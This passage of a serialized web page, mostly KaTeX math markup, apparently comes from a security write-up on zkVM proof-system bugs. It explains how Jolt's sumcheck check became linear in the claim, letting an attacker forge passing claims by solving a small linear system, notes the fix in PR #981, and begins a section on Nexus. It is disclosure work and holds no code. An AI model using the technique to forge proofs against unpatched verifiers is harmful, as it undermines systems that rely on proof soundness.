",{"type":23,"tag":135,"props":113455,"children":113457},{"className":113456},[1981,1982],[113458],{"type":23,"tag":139,"props":113459,"children":113461},{"className":113460},[1987],[113462],{"type":23,"tag":139,"props":113463,"children":113465},{"className":113464,"ariaHidden":1993},[1992],[113466],{"type":23,"tag":139,"props":113467,"children":113469},{"className":113468},[1998],[113470,113474],{"type":23,"tag":139,"props":113471,"children":113473},{"className":113472,"style":108948},[2003],[],{"type":23,"tag":139,"props":113475,"children":113477},{"className":113476},[2009],[113478,113483],{"type":23,"tag":139,"props":113479,"children":113481},{"className":113480,"style":91185},[2009,19596],[113482],{"type":28,"value":91188},{"type":23,"tag":139,"props":113484,"children":113486},{"className":113485},[2025],[113487],{"type":23,"tag":139,"props":113488,"children":113490},{"className":113489},[2030,19650],[113491,113520],{"type":23,"tag":139,"props":113492,"children":113494},{"className":113493},[2035],[113495,113515],{"type":23,"tag":139,"props":113496,"children":113498},{"className":113497,"style":91480},[2040],[113499],{"type":23,"tag":139,"props":113500,"children":113501},{"style":108380},[113502,113506],{"type":23,"tag":139,"props":113503,"children":113505},{"className":113504,"style":2050},[2049],[],{"type":23,"tag":139,"props":113507,"children":113509},{"className":113508},[2055,2056,2057,2058],[113510],{"type":23,"tag":139,"props":113511,"children":113513},{"className":113512},[2009,19596,2058],[113514],{"type":28,"value":1728},{"type":23,"tag":139,"props":113516,"children":113518},{"className":113517},[19753],[113519],{"type":28,"value":19756},{"type":23,"tag":139,"props":113521,"children":113523},{"className":113522},[2035],[113524],{"type":23,"tag":139,"props":113525,"children":113527},{"className":113526,"style":91034},[2040],[113528],{"type":23,"tag":139,"props":113529,"children":113530},{},[],{"type":28,"value":2493},{"type":23,"tag":24,"props":113533,"children":113534},{},[113535],{"type":23,"tag":135,"props":113536,"children":113538},{"className":113537},[1981,1982],[113539],{"type":23,"tag":139,"props":113540,"children":113542},{"className":113541},[1987],[113543],{"type":23,"tag":139,"props":113544,"children":113546},{"className":113545,"ariaHidden":1993},[1992],[113547,113577,113718],{"type":23,"tag":139,"props":113548,"children":113550},{"className":113549},[1998],[113551,113555,113564,113568,113573],{"type":23,"tag":139,"props":113552,"children":113554},{"className":113553,"style":90866},[2003],[],{"type":23,"tag":139,"props":113556,"children":113558},{"className":113557},[2009,28],[113559],{"type":23,"tag":139,"props":113560,"children":113562},{"className":113561},[2009],[113563],{"type":28,"value":113451},{"type":23,"tag":139,"props":113565,"children":113567},{"className":113566,"style":2187},[2089],[],{"type":23,"tag":139,"props":113569,"children":113571},{"className":113570},[2192],[113572],{"type":28,"value":1067},{"type":23,"tag":139,"props":113574,"children":113576},{"className":113575,"style":2187},[2089],[],{"type":23,"tag":139,"props":113578,"children":113580},{"className":113579},[1998],[113581,113586,113643,113647,113705,113709,113714],{"type":23,"tag":139,"props":113582,"children":113585},{"className":113583,"style":113584},[2003],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":139,"props":113587,"children":113589},{"className":113588},[19632],[113590,113595],{"type":23,"tag":139,"props":113591,"children":113593},{"className":113592,"style":19639},[19632,19637,19638],[113594],{"type":28,"value":106746},{"type":23,"tag":139,"props":113596,"children":113598},{"className":113597},[2025],[113599],{"type":23,"tag":139,"props":113600,"children":113602},{"className":113601},[2030,19650],[113603,113632],{"type":23,"tag":139,"props":113604,"children":113606},{"className":113605},[2035],[113607,113627],{"type":23,"tag":139,"props":113608,"children":113610},{"className":113609,"style":112158},[2040],[113611],{"type":23,"tag":139,"props":113612,"children":113613},{"style":19663},[113614,113618],{"type":23,"tag":139,"props":113615,"children":113617},{"className":113616,"style":2050},[2049],[],{"type":23,"tag":139,"props":113619,"children":113621},{"className":113620},[2055,2056,2057,2058],[113622],{"type":23,"tag":139,"props":113623,"children":113625},{"className":113624},[2009,19596,2058],[113626],{"type":28,"value":1728},{"type":23,"tag":139,"props":113628,"children":113630},{"className":113629},[19753],[113631],{"type":28,"value":19756},{"type":23,"tag":139,"props":113633,"children":113635},{"className":113634},[2035],[113636],{"type":23,"tag":139,"props":113637,"children":113639},{"className":113638,"style":112438},[2040],[113640],{"type":23,"tag":139,"props":113641,"children":113642},{},[],{"type":23,"tag":139,"props":113644,"children":113646},{"className":113645,"style":2128},[2089],[],{"type":23,"tag":139,"props":113648,"children":113650},{"className":113649},[2009],[113651,113656],{"type":23,"tag":139,"props":113652,"children":113654},{"className":113653,"style":113039},[2009,19596],[113655],{"type":28,"value":113042},{"type":23,"tag":139,"props":113657,"children":113659},{"className":113658},[2025],[113660],{"type":23,"tag":139,"props":113661,"children":113663},{"className":113662},[2030,19650],[113664,113694],{"type":23,"tag":139,"props":113665,"children":113667},{"className":113666},[2035],[113668,113689],{"type":23,"tag":139,"props":113669,"children":113671},{"className":113670,"style":91480},[2040],[113672],{"type":23,"tag":139,"props":113673,"children":113675},{"style":113674},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[113676,113680],{"type":23,"tag":139,"props":113677,"children":113679},{"className":113678,"style":2050},[2049],[],{"type":23,"tag":139,"props":113681,"children":113683},{"className":113682},[2055,2056,2057,2058],[113684],{"type":23,"tag":139,"props":113685,"children":113687},{"className":113686},[2009,19596,2058],[113688],{"type":28,"value":1728},{"type":23,"tag":139,"props":113690,"children":113692},{"className":113691},[19753],[113693],{"type":28,"value":19756},{"type":23,"tag":139,"props":113695,"children":113697},{"className":113696},[2035],[113698],{"type":23,"tag":139,"props":113699,"children":113701},{"className":113700,"style":91034},[2040],[113702],{"type":23,"tag":139,"props":113703,"children":113704},{},[],{"type":23,"tag":139,"props":113706,"children":113708},{"className":113707,"style":2090},[2089],[],{"type":23,"tag":139,"props":113710,"children":113712},{"className":113711},[2095],[113713],{"type":28,"value":109213},{"type":23,"tag":139,"props":113715,"children":113717},{"className":113716,"style":2090},[2089],[],{"type":23,"tag":139,"props":113719,"children":113721},{"className":113720},[1998],[113722,113726],{"type":23,"tag":139,"props":113723,"children":113725},{"className":113724,"style":108948},[2003],[],{"type":23,"tag":139,"props":113727,"children":113729},{"className":113728},[2009],[113730,113735],{"type":23,"tag":139,"props":113731,"children":113733},{"className":113732,"style":91185},[2009,19596],[113734],{"type":28,"value":91188},{"type":23,"tag":139,"props":113736,"children":113738},{"className":113737},[2025],[113739],{"type":23,"tag":139,"props":113740,"children":113742},{"className":113741},[2030,19650],[113743,113772],{"type":23,"tag":139,"props":113744,"children":113746},{"className":113745},[2035],[113747,113767],{"type":23,"tag":139,"props":113748,"children":113750},{"className":113749,"style":91480},[2040],[113751],{"type":23,"tag":139,"props":113752,"children":113753},{"style":108380},[113754,113758],{"type":23,"tag":139,"props":113755,"children":113757},{"className":113756,"style":2050},[2049],[],{"type":23,"tag":139,"props":113759,"children":113761},{"className":113760},[2055,2056,2057,2058],[113762],{"type":23,"tag":139,"props":113763,"children":113765},{"className":113764},[2009,19596,2058],[113766],{"type":28,"value":1728},{"type":23,"tag":139,"props":113768,"children":113770},{"className":113769},[19753],[113771],{"type":28,"value":19756},{"type":23,"tag":139,"props":113773,"children":113775},{"className":113774},[2035],[113776],{"type":23,"tag":139,"props":113777,"children":113779},{"className":113778,"style":91034},[2040],[113780],{"type":23,"tag":139,"props":113781,"children":113782},{},[],{"type":23,"tag":24,"props":113784,"children":113785},{},[113786,113788,113865,113867,113872,113874,113951,113953,114030,114032,114109],{"type":28,"value":113787},"where ",{"type":23,"tag":135,"props":113789,"children":113791},{"className":113790},[1981,1982],[113792],{"type":23,"tag":139,"props":113793,"children":113795},{"className":113794},[1987],[113796],{"type":23,"tag":139,"props":113797,"children":113799},{"className":113798,"ariaHidden":1993},[1992],[113800],{"type":23,"tag":139,"props":113801,"children":113803},{"className":113802},[1998],[113804,113808],{"type":23,"tag":139,"props":113805,"children":113807},{"className":113806,"style":107921},[2003],[],{"type":23,"tag":139,"props":113809,"children":113811},{"className":113810},[2009],[113812,113817],{"type":23,"tag":139,"props":113813,"children":113815},{"className":113814,"style":113039},[2009,19596],[113816],{"type":28,"value":113042},{"type":23,"tag":139,"props":113818,"children":113820},{"className":113819},[2025],[113821],{"type":23,"tag":139,"props":113822,"children":113824},{"className":113823},[2030,19650],[113825,113854],{"type":23,"tag":139,"props":113826,"children":113828},{"className":113827},[2035],[113829,113849],{"type":23,"tag":139,"props":113830,"children":113832},{"className":113831,"style":91480},[2040],[113833],{"type":23,"tag":139,"props":113834,"children":113835},{"style":113674},[113836,113840],{"type":23,"tag":139,"props":113837,"children":113839},{"className":113838,"style":2050},[2049],[],{"type":23,"tag":139,"props":113841,"children":113843},{"className":113842},[2055,2056,2057,2058],[113844],{"type":23,"tag":139,"props":113845,"children":113847},{"className":113846},[2009,19596,2058],[113848],{"type":28,"value":1728},{"type":23,"tag":139,"props":113850,"children":113852},{"className":113851},[19753],[113853],{"type":28,"value":19756},{"type":23,"tag":139,"props":113855,"children":113857},{"className":113856},[2035],[113858],{"type":23,"tag":139,"props":113859,"children":113861},{"className":113860,"style":91034},[2040],[113862],{"type":23,"tag":139,"props":113863,"children":113864},{},[],{"type":28,"value":113866}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":135,"props":113868,"children":113870},{"className":113869},[],[113871],{"type":28,"value":113415},{"type":28,"value":113873}," (containing ",{"type":23,"tag":135,"props":113875,"children":113877},{"className":113876},[1981,1982],[113878],{"type":23,"tag":139,"props":113879,"children":113881},{"className":113880},[1987],[113882],{"type":23,"tag":139,"props":113883,"children":113885},{"className":113884,"ariaHidden":1993},[1992],[113886],{"type":23,"tag":139,"props":113887,"children":113889},{"className":113888},[1998],[113890,113894],{"type":23,"tag":139,"props":113891,"children":113893},{"className":113892,"style":108948},[2003],[],{"type":23,"tag":139,"props":113895,"children":113897},{"className":113896},[2009],[113898,113903],{"type":23,"tag":139,"props":113899,"children":113901},{"className":113900,"style":91185},[2009,19596],[113902],{"type":28,"value":91188},{"type":23,"tag":139,"props":113904,"children":113906},{"className":113905},[2025],[113907],{"type":23,"tag":139,"props":113908,"children":113910},{"className":113909},[2030,19650],[113911,113940],{"type":23,"tag":139,"props":113912,"children":113914},{"className":113913},[2035],[113915,113935],{"type":23,"tag":139,"props":113916,"children":113918},{"className":113917,"style":91480},[2040],[113919],{"type":23,"tag":139,"props":113920,"children":113921},{"style":108380},[113922,113926],{"type":23,"tag":139,"props":113923,"children":113925},{"className":113924,"style":2050},[2049],[],{"type":23,"tag":139,"props":113927,"children":113929},{"className":113928},[2055,2056,2057,2058],[113930],{"type":23,"tag":139,"props":113931,"children":113933},{"className":113932},[2009,19596,2058],[113934],{"type":28,"value":1728},{"type":23,"tag":139,"props":113936,"children":113938},{"className":113937},[19753],[113939],{"type":28,"value":19756},{"type":23,"tag":139,"props":113941,"children":113943},{"className":113942},[2035],[113944],{"type":23,"tag":139,"props":113945,"children":113947},{"className":113946,"style":91034},[2040],[113948],{"type":23,"tag":139,"props":113949,"children":113950},{},[],{"type":28,"value":113952},") were not in the transcript, the ",{"type":23,"tag":135,"props":113954,"children":113956},{"className":113955},[1981,1982],[113957],{"type":23,"tag":139,"props":113958,"children":113960},{"className":113959},[1987],[113961],{"type":23,"tag":139,"props":113962,"children":113964},{"className":113963,"ariaHidden":1993},[1992],[113965],{"type":23,"tag":139,"props":113966,"children":113968},{"className":113967},[1998],[113969,113973],{"type":23,"tag":139,"props":113970,"children":113972},{"className":113971,"style":107921},[2003],[],{"type":23,"tag":139,"props":113974,"children":113976},{"className":113975},[2009],[113977,113982],{"type":23,"tag":139,"props":113978,"children":113980},{"className":113979,"style":113039},[2009,19596],[113981],{"type":28,"value":113042},{"type":23,"tag":139,"props":113983,"children":113985},{"className":113984},[2025],[113986],{"type":23,"tag":139,"props":113987,"children":113989},{"className":113988},[2030,19650],[113990,114019],{"type":23,"tag":139,"props":113991,"children":113993},{"className":113992},[2035],[113994,114014],{"type":23,"tag":139,"props":113995,"children":113997},{"className":113996,"style":91480},[2040],[113998],{"type":23,"tag":139,"props":113999,"children":114000},{"style":113674},[114001,114005],{"type":23,"tag":139,"props":114002,"children":114004},{"className":114003,"style":2050},[2049],[],{"type":23,"tag":139,"props":114006,"children":114008},{"className":114007},[2055,2056,2057,2058],[114009],{"type":23,"tag":139,"props":114010,"children":114012},{"className":114011},[2009,19596,2058],[114013],{"type":28,"value":1728},{"type":23,"tag":139,"props":114015,"children":114017},{"className":114016},[19753],[114018],{"type":28,"value":19756},{"type":23,"tag":139,"props":114020,"children":114022},{"className":114021},[2035],[114023],{"type":23,"tag":139,"props":114024,"children":114026},{"className":114025,"style":91034},[2040],[114027],{"type":23,"tag":139,"props":114028,"children":114029},{},[],{"type":28,"value":114031}," values are independent of ",{"type":23,"tag":135,"props":114033,"children":114035},{"className":114034},[1981,1982],[114036],{"type":23,"tag":139,"props":114037,"children":114039},{"className":114038},[1987],[114040],{"type":23,"tag":139,"props":114041,"children":114043},{"className":114042,"ariaHidden":1993},[1992],[114044],{"type":23,"tag":139,"props":114045,"children":114047},{"className":114046},[1998],[114048,114052],{"type":23,"tag":139,"props":114049,"children":114051},{"className":114050,"style":108948},[2003],[],{"type":23,"tag":139,"props":114053,"children":114055},{"className":114054},[2009],[114056,114061],{"type":23,"tag":139,"props":114057,"children":114059},{"className":114058,"style":91185},[2009,19596],[114060],{"type":28,"value":91188},{"type":23,"tag":139,"props":114062,"children":114064},{"className":114063},[2025],[114065],{"type":23,"tag":139,"props":114066,"children":114068},{"className":114067},[2030,19650],[114069,114098],{"type":23,"tag":139,"props":114070,"children":114072},{"className":114071},[2035],[114073,114093],{"type":23,"tag":139,"props":114074,"children":114076},{"className":114075,"style":91480},[2040],[114077],{"type":23,"tag":139,"props":114078,"children":114079},{"style":108380},[114080,114084],{"type":23,"tag":139,"props":114081,"children":114083},{"className":114082,"style":2050},[2049],[],{"type":23,"tag":139,"props":114085,"children":114087},{"className":114086},[2055,2056,2057,2058],[114088],{"type":23,"tag":139,"props":114089,"children":114091},{"className":114090},[2009,19596,2058],[114092],{"type":28,"value":1728},{"type":23,"tag":139,"props":114094,"children":114096},{"className":114095},[19753],[114097],{"type":28,"value":19756},{"type":23,"tag":139,"props":114099,"children":114101},{"className":114100},[2035],[114102],{"type":23,"tag":139,"props":114103,"children":114105},{"className":114104,"style":91034},[2040],[114106],{"type":23,"tag":139,"props":114107,"children":114108},{},[],{"type":28,"value":73},{"type":23,"tag":24,"props":114111,"children":114112},{},[114113],{"type":23,"tag":56,"props":114114,"children":114115},{},[114116],{"type":28,"value":114117},"Why it's linear:",{"type":23,"tag":24,"props":114119,"children":114120},{},[114121,114123],{"type":28,"value":114122},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":135,"props":114124,"children":114126},{"className":114125},[1981,1982],[114127],{"type":23,"tag":139,"props":114128,"children":114130},{"className":114129},[1987],[114131],{"type":23,"tag":139,"props":114132,"children":114134},{"className":114133,"ariaHidden":1993},[1992],[114135],{"type":23,"tag":139,"props":114136,"children":114138},{"className":114137},[1998],[114139,114143],{"type":23,"tag":139,"props":114140,"children":114142},{"className":114141,"style":19591},[2003],[],{"type":23,"tag":139,"props":114144,"children":114146},{"className":114145,"style":91185},[2009,19596],[114147],{"type":28,"value":91188},{"type":23,"tag":24,"props":114149,"children":114150},{},[114151],{"type":23,"tag":135,"props":114152,"children":114154},{"className":114153},[1981,1982],[114155],{"type":23,"tag":139,"props":114156,"children":114158},{"className":114157},[1987],[114159],{"type":23,"tag":139,"props":114160,"children":114162},{"className":114161,"ariaHidden":1993},[1992],[114163,114253,114279,114305],{"type":23,"tag":139,"props":114164,"children":114166},{"className":114165},[1998],[114167,114171,114240,114244,114249],{"type":23,"tag":139,"props":114168,"children":114170},{"className":114169,"style":108948},[2003],[],{"type":23,"tag":139,"props":114172,"children":114174},{"className":114173},[2009],[114175,114181],{"type":23,"tag":139,"props":114176,"children":114178},{"className":114177,"style":20128},[2009,19596],[114179],{"type":28,"value":114180},"C",{"type":23,"tag":139,"props":114182,"children":114184},{"className":114183},[2025],[114185],{"type":23,"tag":139,"props":114186,"children":114188},{"className":114187},[2030,19650],[114189,114229],{"type":23,"tag":139,"props":114190,"children":114192},{"className":114191},[2035],[114193,114224],{"type":23,"tag":139,"props":114194,"children":114197},{"className":114195,"style":114196},[2040],"height:0.3361em;",[114198],{"type":23,"tag":139,"props":114199,"children":114201},{"style":114200},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[114202,114206],{"type":23,"tag":139,"props":114203,"children":114205},{"className":114204,"style":2050},[2049],[],{"type":23,"tag":139,"props":114207,"children":114209},{"className":114208},[2055,2056,2057,2058],[114210],{"type":23,"tag":139,"props":114211,"children":114213},{"className":114212},[2009,2058],[114214],{"type":23,"tag":139,"props":114215,"children":114217},{"className":114216},[2009,28,2058],[114218],{"type":23,"tag":139,"props":114219,"children":114221},{"className":114220},[2009,2058],[114222],{"type":28,"value":114223},"final",{"type":23,"tag":139,"props":114225,"children":114227},{"className":114226},[19753],[114228],{"type":28,"value":19756},{"type":23,"tag":139,"props":114230,"children":114232},{"className":114231},[2035],[114233],{"type":23,"tag":139,"props":114234,"children":114236},{"className":114235,"style":91034},[2040],[114237],{"type":23,"tag":139,"props":114238,"children":114239},{},[],{"type":23,"tag":139,"props":114241,"children":114243},{"className":114242,"style":2187},[2089],[],{"type":23,"tag":139,"props":114245,"children":114247},{"className":114246},[2192],[114248],{"type":28,"value":1067},{"type":23,"tag":139,"props":114250,"children":114252},{"className":114251,"style":2187},[2089],[],{"type":23,"tag":139,"props":114254,"children":114256},{"className":114255},[1998],[114257,114261,114266,114270,114275],{"type":23,"tag":139,"props":114258,"children":114260},{"className":114259,"style":113034},[2003],[],{"type":23,"tag":139,"props":114262,"children":114264},{"className":114263},[2009,19596],[114265],{"type":28,"value":64},{"type":23,"tag":139,"props":114267,"children":114269},{"className":114268,"style":2090},[2089],[],{"type":23,"tag":139,"props":114271,"children":114273},{"className":114272},[2095],[114274],{"type":28,"value":109213},{"type":23,"tag":139,"props":114276,"children":114278},{"className":114277,"style":2090},[2089],[],{"type":23,"tag":139,"props":114280,"children":114282},{"className":114281},[1998],[114283,114287,114292,114296,114301],{"type":23,"tag":139,"props":114284,"children":114286},{"className":114285,"style":113063},[2003],[],{"type":23,"tag":139,"props":114288,"children":114290},{"className":114289,"style":91185},[2009,19596],[114291],{"type":28,"value":91188},{"type":23,"tag":139,"props":114293,"children":114295},{"className":114294,"style":2090},[2089],[],{"type":23,"tag":139,"props":114297,"children":114299},{"className":114298},[2095],[114300],{"type":28,"value":2382},{"type":23,"tag":139,"props":114302,"children":114304},{"className":114303,"style":2090},[2089],[],{"type":23,"tag":139,"props":114306,"children":114308},{"className":114307},[1998],[114309,114313],{"type":23,"tag":139,"props":114310,"children":114312},{"className":114311,"style":90866},[2003],[],{"type":23,"tag":139,"props":114314,"children":114316},{"className":114315},[2009,19596],[114317],{"type":28,"value":1199},{"type":23,"tag":24,"props":114319,"children":114320},{},[114321,114322,114361,114363,114388,114390,114520,114522,114643],{"type":28,"value":113787},{"type":23,"tag":135,"props":114323,"children":114325},{"className":114324},[1981,1982],[114326],{"type":23,"tag":139,"props":114327,"children":114329},{"className":114328},[1987],[114330],{"type":23,"tag":139,"props":114331,"children":114333},{"className":114332,"ariaHidden":1993},[1992],[114334],{"type":23,"tag":139,"props":114335,"children":114337},{"className":114336},[1998],[114338,114342,114347,114352,114356],{"type":23,"tag":139,"props":114339,"children":114341},{"className":114340,"style":113006},[2003],[],{"type":23,"tag":139,"props":114343,"children":114345},{"className":114344},[2009,19596],[114346],{"type":28,"value":64},{"type":23,"tag":139,"props":114348,"children":114350},{"className":114349},[2121],[114351],{"type":28,"value":2124},{"type":23,"tag":139,"props":114353,"children":114355},{"className":114354,"style":2128},[2089],[],{"type":23,"tag":139,"props":114357,"children":114359},{"className":114358},[2009,19596],[114360],{"type":28,"value":1199},{"type":28,"value":114362}," are determined by the transcript (independent of ",{"type":23,"tag":135,"props":114364,"children":114366},{"className":114365},[1981,1982],[114367],{"type":23,"tag":139,"props":114368,"children":114370},{"className":114369},[1987],[114371],{"type":23,"tag":139,"props":114372,"children":114374},{"className":114373,"ariaHidden":1993},[1992],[114375],{"type":23,"tag":139,"props":114376,"children":114378},{"className":114377},[1998],[114379,114383],{"type":23,"tag":139,"props":114380,"children":114382},{"className":114381,"style":19591},[2003],[],{"type":23,"tag":139,"props":114384,"children":114386},{"className":114385,"style":91185},[2009,19596],[114387],{"type":28,"value":91188},{"type":28,"value":114389},"). The verifier checks that ",{"type":23,"tag":135,"props":114391,"children":114393},{"className":114392},[1981,1982],[114394],{"type":23,"tag":139,"props":114395,"children":114397},{"className":114396},[1987],[114398],{"type":23,"tag":139,"props":114399,"children":114401},{"className":114400,"ariaHidden":1993},[1992],[114402,114488],{"type":23,"tag":139,"props":114403,"children":114405},{"className":114404},[1998],[114406,114410,114475,114479,114484],{"type":23,"tag":139,"props":114407,"children":114409},{"className":114408,"style":108948},[2003],[],{"type":23,"tag":139,"props":114411,"children":114413},{"className":114412},[2009],[114414,114419],{"type":23,"tag":139,"props":114415,"children":114417},{"className":114416,"style":20128},[2009,19596],[114418],{"type":28,"value":114180},{"type":23,"tag":139,"props":114420,"children":114422},{"className":114421},[2025],[114423],{"type":23,"tag":139,"props":114424,"children":114426},{"className":114425},[2030,19650],[114427,114464],{"type":23,"tag":139,"props":114428,"children":114430},{"className":114429},[2035],[114431,114459],{"type":23,"tag":139,"props":114432,"children":114434},{"className":114433,"style":114196},[2040],[114435],{"type":23,"tag":139,"props":114436,"children":114437},{"style":114200},[114438,114442],{"type":23,"tag":139,"props":114439,"children":114441},{"className":114440,"style":2050},[2049],[],{"type":23,"tag":139,"props":114443,"children":114445},{"className":114444},[2055,2056,2057,2058],[114446],{"type":23,"tag":139,"props":114447,"children":114449},{"className":114448},[2009,2058],[114450],{"type":23,"tag":139,"props":114451,"children":114453},{"className":114452},[2009,28,2058],[114454],{"type":23,"tag":139,"props":114455,"children":114457},{"className":114456},[2009,2058],[114458],{"type":28,"value":114223},{"type":23,"tag":139,"props":114460,"children":114462},{"className":114461},[19753],[114463],{"type":28,"value":19756},{"type":23,"tag":139,"props":114465,"children":114467},{"className":114466},[2035],[114468],{"type":23,"tag":139,"props":114469,"children":114471},{"className":114470,"style":91034},[2040],[114472],{"type":23,"tag":139,"props":114473,"children":114474},{},[],{"type":23,"tag":139,"props":114476,"children":114478},{"className":114477,"style":2187},[2089],[],{"type":23,"tag":139,"props":114480,"children":114482},{"className":114481},[2192],[114483],{"type":28,"value":1067},{"type":23,"tag":139,"props":114485,"children":114487},{"className":114486,"style":2187},[2089],[],{"type":23,"tag":139,"props":114489,"children":114491},{"className":114490},[1998],[114492,114496,114506,114511],{"type":23,"tag":139,"props":114493,"children":114495},{"className":114494,"style":92364},[2003],[],{"type":23,"tag":139,"props":114497,"children":114499},{"className":114498},[2009,28],[114500],{"type":23,"tag":139,"props":114501,"children":114503},{"className":114502},[2009],[114504],{"type":28,"value":114505},"expected",{"type":23,"tag":139,"props":114507,"children":114509},{"className":114508,"style":90951},[2009],[114510],{"type":28,"value":1057},{"type":23,"tag":139,"props":114512,"children":114514},{"className":114513},[2009,28],[114515],{"type":23,"tag":139,"props":114516,"children":114518},{"className":114517},[2009],[114519],{"type":28,"value":35438},{"type":28,"value":114521}," (from PCS opening), this becomes ",{"type":23,"tag":135,"props":114523,"children":114525},{"className":114524},[1981,1982],[114526],{"type":23,"tag":139,"props":114527,"children":114529},{"className":114528},[1987],[114530],{"type":23,"tag":139,"props":114531,"children":114533},{"className":114532,"ariaHidden":1993},[1992],[114534,114560,114586,114612],{"type":23,"tag":139,"props":114535,"children":114537},{"className":114536},[1998],[114538,114542,114547,114551,114556],{"type":23,"tag":139,"props":114539,"children":114541},{"className":114540,"style":113034},[2003],[],{"type":23,"tag":139,"props":114543,"children":114545},{"className":114544},[2009,19596],[114546],{"type":28,"value":64},{"type":23,"tag":139,"props":114548,"children":114550},{"className":114549,"style":2090},[2089],[],{"type":23,"tag":139,"props":114552,"children":114554},{"className":114553},[2095],[114555],{"type":28,"value":109213},{"type":23,"tag":139,"props":114557,"children":114559},{"className":114558,"style":2090},[2089],[],{"type":23,"tag":139,"props":114561,"children":114563},{"className":114562},[1998],[114564,114568,114573,114577,114582],{"type":23,"tag":139,"props":114565,"children":114567},{"className":114566,"style":113063},[2003],[],{"type":23,"tag":139,"props":114569,"children":114571},{"className":114570,"style":91185},[2009,19596],[114572],{"type":28,"value":91188},{"type":23,"tag":139,"props":114574,"children":114576},{"className":114575,"style":2090},[2089],[],{"type":23,"tag":139,"props":114578,"children":114580},{"className":114579},[2095],[114581],{"type":28,"value":2382},{"type":23,"tag":139,"props":114583,"children":114585},{"className":114584,"style":2090},[2089],[],{"type":23,"tag":139,"props":114587,"children":114589},{"className":114588},[1998],[114590,114594,114599,114603,114608],{"type":23,"tag":139,"props":114591,"children":114593},{"className":114592,"style":90866},[2003],[],{"type":23,"tag":139,"props":114595,"children":114597},{"className":114596},[2009,19596],[114598],{"type":28,"value":1199},{"type":23,"tag":139,"props":114600,"children":114602},{"className":114601,"style":2187},[2089],[],{"type":23,"tag":139,"props":114604,"children":114606},{"className":114605},[2192],[114607],{"type":28,"value":1067},{"type":23,"tag":139,"props":114609,"children":114611},{"className":114610,"style":2187},[2089],[],{"type":23,"tag":139,"props":114613,"children":114615},{"className":114614},[1998],[114616,114620,114629,114634],{"type":23,"tag":139,"props":114617,"children":114619},{"className":114618,"style":92364},[2003],[],{"type":23,"tag":139,"props":114621,"children":114623},{"className":114622},[2009,28],[114624],{"type":23,"tag":139,"props":114625,"children":114627},{"className":114626},[2009],[114628],{"type":28,"value":114505},{"type":23,"tag":139,"props":114630,"children":114632},{"className":114631,"style":90951},[2009],[114633],{"type":28,"value":1057},{"type":23,"tag":139,"props":114635,"children":114637},{"className":114636},[2009,28],[114638],{"type":23,"tag":139,"props":114639,"children":114641},{"className":114640},[2009],[114642],{"type":28,"value":35438},{"type":28,"value":73},{"type":23,"tag":24,"props":114645,"children":114646},{},[114647],{"type":28,"value":114648},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":114650,"children":114651},{},[114652],{"type":28,"value":114653},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":114655,"children":114656},{},[114657,114662,114664],{"type":23,"tag":56,"props":114658,"children":114659},{},[114660],{"type":28,"value":114661},"Status:",{"type":28,"value":114663}," Fixed on October 3, 2025 via ",{"type":23,"tag":64,"props":114665,"children":114668},{"href":114666,"rel":114667},"https://github.com/a16z/jolt/pull/981",[68],[114669],{"type":28,"value":114670},"PR #981",{"type":23,"tag":16800,"props":114672,"children":114673},{},[],{"type":23,"tag":666,"props":114675,"children":114677},{"id":114676},"nexus",[114678],{"type":28,"value":105770},{"type":23,"tag":24,"props":114680,"children":114681},{},[114682],{"type":28,"value":114683},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":114685,"children":114686},{},[114687,114689,114694],{"type":28,"value":114688},"Nexus splits verification into ",{"type":23,"tag":56,"props":114690,"children":114691},{},[114692],{"type":28,"value":114693},"components",{"type":28,"value":114695}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":114697,"children":114698},{},[114699,114701,114706],{"type":28,"value":114700},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":135,"props":114702,"children":114704},{"className":114703},[],[114705],{"type":28,"value":112815},{"type":28,"value":114707}," summarizes its net contribution:",{"type":23,"tag":24,"props":114709,"children":114710},{},[114711],{"type":23,"tag":135,"props":114712,"children":114714},{"className":114713},[1981,1982],[114715],{"type":23,"tag":139,"props":114716,"children":114718},{"className":114717},[1987],[114719],{"type":23,"tag":139,"props":114720,"children":114722},{"className":114721,"ariaHidden":1993},[1992],[114723,114819,115068],{"type":23,"tag":139,"props":114724,"children":114726},{"className":114725},[1998],[114727,114731,114740,114745,114806,114810,114815],{"type":23,"tag":139,"props":114728,"children":114730},{"className":114729,"style":92364},[2003],[],{"type":23,"tag":139,"props":114732,"children":114734},{"className":114733},[2009,28],[114735],{"type":23,"tag":139,"props":114736,"children":114738},{"className":114737},[2009],[114739],{"type":28,"value":112044},{"type":23,"tag":139,"props":114741,"children":114743},{"className":114742,"style":90951},[2009],[114744],{"type":28,"value":1057},{"type":23,"tag":139,"props":114746,"children":114748},{"className":114747},[2009],[114749,114758],{"type":23,"tag":139,"props":114750,"children":114752},{"className":114751},[2009,28],[114753],{"type":23,"tag":139,"props":114754,"children":114756},{"className":114755},[2009],[114757],{"type":28,"value":74536},{"type":23,"tag":139,"props":114759,"children":114761},{"className":114760},[2025],[114762],{"type":23,"tag":139,"props":114763,"children":114765},{"className":114764},[2030,19650],[114766,114795],{"type":23,"tag":139,"props":114767,"children":114769},{"className":114768},[2035],[114770,114790],{"type":23,"tag":139,"props":114771,"children":114773},{"className":114772,"style":91480},[2040],[114774],{"type":23,"tag":139,"props":114775,"children":114776},{"style":112081},[114777,114781],{"type":23,"tag":139,"props":114778,"children":114780},{"className":114779,"style":2050},[2049],[],{"type":23,"tag":139,"props":114782,"children":114784},{"className":114783},[2055,2056,2057,2058],[114785],{"type":23,"tag":139,"props":114786,"children":114788},{"className":114787},[2009,19596,2058],[114789],{"type":28,"value":1728},{"type":23,"tag":139,"props":114791,"children":114793},{"className":114792},[19753],[114794],{"type":28,"value":19756},{"type":23,"tag":139,"props":114796,"children":114798},{"className":114797},[2035],[114799],{"type":23,"tag":139,"props":114800,"children":114802},{"className":114801,"style":91034},[2040],[1